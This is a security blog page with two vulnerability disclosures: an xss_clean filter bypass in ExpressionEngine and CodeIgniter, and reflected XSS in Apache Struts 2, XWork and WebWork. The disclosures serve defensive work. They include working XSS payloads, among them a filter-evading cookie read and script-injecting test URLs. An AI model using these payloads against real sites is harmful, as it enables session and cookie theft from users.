Showing posts with label XSS. Show all posts
Showing posts with label XSS. Show all posts

Sunday, November 27, 2011

EllisLab xss_clean Filter Bypass - ExpressionEngine and CodeIgniter



EllisLab ExpressionEngine 2.2.2 (http://expressionengine.com) and CodeIgniter 2.0.3 (http://codeigniter.com) were recently found vulnerable to XSS attacks (MVSA_11_013). Due to design&implementation flaws affecting CI_Security class, the built-in XSS protection provided by xss_clean filter can be easily bypassed as detailed below.


Successful bypass of xss_clean filter was shown on a custom PHP application built using CodeIgniter PHP framework version 2.0.3. No user input validation rules were implemented/enabled, and global_xss_filtering was set to TRUE.

Test environment: Apache HTTP Server 2.2.16, PHP 5.3.3, MySql 5.1.49


1. _remove_evil_attributes function flaws

As implemented for ExpressionEngine 2.2.2 and CodeIgniter 2.0.3, _remove_evil_attributes function of CI_Security class allows detection and removal of 'evil' on* event attributes (e.g. onmouseover, onfocus, etc) from any HTML tag submitted as a parameter of GET or POST requests. In most of the cases, this works fine - except when it doesn't, as detailed below

1.1 on* event attributes submitted outside an HTML tag are not filtered out


1.2 on* event attributes submitted as part of an HTML tag are removed


XSS payload: <a href=”#” onclick=”alert(1)”>

xss_clean filtered output: <a href=”#”>


Thus, the 'evil' on* event attribute is removed from the HTML tag containing it. However, the character preceding the on* event attribute is also removed, which leads to crafting the following payload:


XSS payload: <a href=”#”onclick=”alert(1)”>

xss_clean filtered output: <a href=”#>


When there is no space between the value of a previous attribute (enclosed by double_quotes) and the injected on*event attribute, the double quotes closing the value of preceding
attribute (
href in our example) is removed together with the 'evil' on* attribute.


2.
xss_clean function flaw

2.1 unsafe usage of HTML entities

xss_clean function includes functionality to replace any detected ( and ) characters with the corresponding HTML entities, as shown below:


-- code from
xss_clean function EE 2.2.2 / CI 2.0.3 - start --
/*
* Sanitize naughty scripting elements
*
* Similar to above, only instead of looking for
* tags it looks for
PHP and JavaScript commands
* that are disallowed. Rather than removing the
* code, it simply converts the parenthesis to entities
* rendering the code
un-executable.
*
* For example:
eval('some code')
* Becomes:
eval('some code')
*/
$
str = preg_replace('#(alert|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si', "\\1\\2(\\3)", $str);

-- code from
xss_clean function EE 2.2.2 / CI 2.0.3 - end --


This works fine when the code to be sanitised (e.g. alert(), event(), etc) is not located as part of any attribute (including on* event attributes) of the HTML tag (e.g.
<script> alert&#40;0&#41; </script>).

When the code to be sanitised is part of an attribute of an HTML tag (e.g.
<;img onmouseover="alert&#40;111&#41;">), the CI_Security code above does little (if anything) to protect against XSS attacks.


Putting it all together

When we combine the flaws detailed in sections 1 and 2, we can successfully bypass XSS filtering provided by xss_clean function, as shown below.


XSS payload:
<a href="#"onclick="alert(1)">" onclick="alert(2)">aa</a>

xss_clean 'filtered' output:
<a href="#>" onclick="alert&#40;2&#41;">aa</a>

Exploitation of the above flaws also allowed bypassing additional XSS prevention rules provided by xss_clean filter, including the usage of document.cookie as part of injected XSS payloads:


...
onmouseover="var a=eval&#x28'do'+'cument'+'.'+'coo'+'kie'&#x29;;alert&#x28;a&#x29;"

Additionally, exploitation of the flaws identified in xss_clean filter allowed compromising the provided CSRF protection as well.

Based on the feedback I received from
EllisLab on this matters, improved xss_clean filtering is provided in the latest versions of ExpressionEngine and CodeIgniter products.


Tuesday, May 10, 2011

Apache Struts 2, XWork, WebWork ... Reflected XSS Vulnerabilities



The recently released Apache Struts 2.2.3 framework includes fixes for two reflected XSS vulnerabilities.


User provided data is not
properly escaped before being included in XWork generated errors, thus allowing successful reflected XSS attacks as described in MVSA-11-006 security advisory.

NOTE: Other open source projects and commercial products relying on XWork framework could be vulnerable to attacks similar to the ones described in this post.


NOTE:
WebWork framework released by OpenSymphony (http://opensymphony.org) was already confirmed as vulnerable to reflected XSS attacks using similar vectors.


1. XSS payload injected in the name of the requested Struts actions


Preconditions:

  • no declarative error handling rule is defined in struts.xml using <global-exception-mappings> tag
Test case:

http://test.app1.net/login%3Cimg%3E.action

HTML source code for the error displayed (HTTP response Content-Type is text/html):

There is no Action mapped for namespace / and action name login<img>.


This allows successful reflected XSS attacks by injecting malicious scripting code into the name of requested Struts actions.


2. Reflected XSS vulnerabilities in with DMI enabled


Preconditions:

  • no declarative error handling rule is defined in struts.xml using tag
  • Dynamic Method Invocation is enabled (this is enabled by default)
  • bash syntax is used in JSP via tag for calling Struts actions and methods
  • the requested method is not matching an existing one already defined in the Struts action implementation class
  • the requested action is not matching an existing one already defined in struts.xml
Example of <s:submit> tag usage with JSP:

<body>
...
<form name="loginform" id="loginform" method="post" action="">
...
<s:submit action="login" method="cantLogin" name="cantlogin" key="cantlogin" />
...
</form>
...
</body>


2.1 Test case - XSS payload is injected in action attribute of
<s:submit> tag

http://test.app.net/home.html?user=&password=
&action!login%3cscript%3ealert(document.cookie)%3c/script%3e:cantLogin=some_name

HTML source code for the error displayed (HTTP response Content-Type is text/html):

There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.


NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected malicious scripting code is executed by the browser (the HTTP response's content-type header is set to text/html).

This allows successful reflected XSS attacks using <s:submit> tag.


2.2 Test case - XSS payload is injected in method attribute of
<s:submit> tag

http://test.app.net/home.html?user=&password=&action!login:cantLogin
%3cscript%3ealert(document.cookie)%3c/script%3e=some_name

HTML source code for the error displayed (HTTP response Content-Type is text/html):

some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()

NOTE: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html).

This allows successful reflected XSS attacks using <s:submit> tag.

UPDATED (2011-05-18): The returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case).
This issue is documented by MVSA-11-007 security advisory.

WebWork framework seems to be vulnerable to similar attacks. However, since the project is not actively maintained (being replaced by Apache Struts 2), there might be an option to look into building the project from source and to include similar fixes to those suggested for XWork
com.opensymphony.xwork2.DefaultActionProxy class patched in Struts 2.2.3 (details available at https://issues.apache.org/jira/browse/WW-3579).